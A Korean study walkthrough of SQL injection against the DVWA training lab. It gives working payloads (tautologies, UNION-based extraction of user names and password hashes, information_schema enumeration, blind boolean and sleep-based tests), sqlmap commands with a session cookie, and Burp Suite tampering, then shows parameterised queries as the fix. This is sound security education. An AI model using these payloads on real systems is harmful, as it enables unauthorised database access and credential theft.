SQL 인젝션 공격
데이터베이스에 전송되는 SQL 쿼리문을 조작하여,
데이터를 변조하거나 허가되지 않은 정보에 접근
예전부터 최근까지 꾸준하게 사용
ID=1' or '1'='1
SELECT name, email FROM users WHERE ID = '1' or '1'='1'
ID = 1' union select name,pw from users# (#뒤에 있는 것들은 주석처리)
SELECT name, email FROM users WHERE ID='1' union select name,pw from users#'
이렇게 되면 모든 사용자의 이름과 비밀번호를 리턴하게 된다
SQL 인젝션에 취악한지 어떻게 알아보냐면 작은따옴표(')를 넣어보면 된다 -> SQL에러가 나오게 된다
왜 에러가 나오게 되느냐 하면
user_id = '$id'; 로 되어있는데 작음따옴표가 2개로 열고 닫고가 완료되었는데 추가로 들어가서 3개가 되므로 에러가 출력된다
1' or '1' = '1 을 입력하면 모든 정보가 출력이 된다
즉 조건문을 항상 참이 되게 만들어줌으로써 id가 1이라는 것과 상관없이 모든 정보가 출력되게 했다
칼럼갯수 알아내기
1' union select 1 # 을 입력했더니 에러가 발생한다
1' union select 1,1 # 을 쳤더니 합집합의 결과로 나온다
이전 select 칼럼이 2개가 사용되었음을 알 수 있다
이것 말고도 ORDER BY로 알아낼 수 있다
1' order by 1 # 하면 결과값이 출력된다
1' order by 2 # 이런식으로 1씩 증가시켜 에러나올때까지 카운트해주면 칼럼이 몇개인지 알 수 있다
union으로 갯수를 찾을 때에는 정확한 값을 입력해야 알 수 있지만
orderby는 입력한 값보다 큰지 작은지 알 수 있기 때문에 더 빠르게 찾아낼 수 있다
데이터베이스 명 조회하려면
1' union select schema_name,1 from information_schema.schemata #
하면 결과로 모든 데이터베이스 이름들이 출력된다
dvwa 데이터베이스의 테이블 명 조회는
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #
users 테이블 칼럼 조회는
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#
이제 여기서 패스워드 값을 users 에서 가져오려면
1' union select user,password from users#
하면 first name 에는 아이디가 surname에 비밀번호가 출력된다
그런데 패스워드가 평문이 아닌 해시값의 형태로 저장되어있다
하지만 여기서는 보안에 취약한 MD5라는 해시값을 사용한다
이 해시값을 구글에 검색하면 해석된 값을 얻을 수 있다
블라인드 SQL 인젝션
SQL Injection(Blind)는 단순히 그 아이디가 존재하는지 안하는지만 알려준다
'을 넣어줘도 특별한 에러가 나오진 않는다
1' AND 1 = 1# 하면 존재한다고 나오고
1' AND 1 = 2# 하면 찾을 수 없다고 나온다
즉 이것은
SELECT user FROM users WHERE id ='1' AND 1 = 1# 이므로 참인 경우라 존재한다고 나온것이고
SELECT user FROM users WHERE id ='1' AND 2 = 1# 인 경우는 거짓이라 찾을 수 없다고 나온 것이다
1' AND sleep(5)# 와 같이 사용할 수 있다 1이 있다면 5초후 출력될 것이고 없다면 바로 출력될 것이다
SQLMAP 프로그램
Applications의 web 에서 SQLMAP을 실행한다
-u는 공격할 url 주소를 설정해주어야한다
1을 치고 실행한 그 주소값을 가져와준다
그리고 f12를 눌러 콘솔에 document.cookie 를 쳐서 쿠키값도 알아낸다
sqlmap -u "주소" --cookie="쿠키"
하면 id 파라미터 값으로 AND boolean-based blind 공격이 가능할 것 같다고 메세지가 온다
그리고 백엔드에 사용되는 DB가 MySQL이라는 것도 알아냈다
최종적으로 AND boolean-based blind 공격과 AND/OR time-based blind 공격이 가능하다고 알려주고 있다
웹서버 개발 버전 등등 정보들을 알려준다
sqlmap -u "주소" --cookie="쿠키" --current-db 하면 db이름을 알려주고
sqlmap -u "주소" --cookie="쿠키" -D dvwa --table 하면 table들을 알려준다
sqlmap -u "주소" --cookie="쿠키" -D dvwa -T Users --dump 를 하게 되면 Users의 정보들이 모두 나오게 된다
medium 단계에서는 폼형태가 아니라 정해진 값을 선택되게 되어있다
버프스위트 인터셉트를 키도록 한다
인터셉트에서 1' or '1'=1 을 해줘서 포워드를 해주었더니 에러가 나온다
뷰소스로 소스를 보니 이번에는 id 에 작은따옴표가 없고 그냥 id 라고 되어있다
1 or 1=1 해주고 포워드 해주면 다른정보들도 다 같이 나오게 된다
union도 되는지 보자
1 union select user,password from users#
해주고 포워드 해주니 유저아이디와 패스워드가 잘 출력이 된다
high단계를 보면
링크가 하나있고 클릭하면 입력하는 폼 하나가 나오는데 이 폼에 검색을 하면 원래 페이지에 표시되는 방식이다
소스를 보니 LIMIT키워드로 출력되는 레코드 수를 조절하고 있다
무조건 하나만 출력되게 되어있다
하지만 이것 역시 SQL인젝션 방어용도로는 아무 의미 없다
id 뒤에 주석처리 해버리면 되기 때문이다
1' or '1' = 1 # 해주면 값들이 출력됨을 볼 수 있다
1' union select user,password from users# 즉 union도 정상적으로 출력이 된다
impossible 단계를 보자
먼저 하는게 id값을 받아오고 그 id값이 숫자인지 확인하는 것
입력값을 확실히 검증해주는 것
필요한 데이터 형식을 정확히 검사해주는 것이 중요 (숫자가 맞는지, 문자가 맞는지)
low ~ high 단계는 동적 쿼리이고 impossible 단계는 파라미터 쿼리이다
파라미터 쿼리는 미리 쿼리문의 형태를 작성해 두게 된다
id부분만 bindparam으로 지정해주는데 이렇게 하면 DB는 어떤게 코드이고 어떤게 데이터인지 정확히 알 수 있게 된다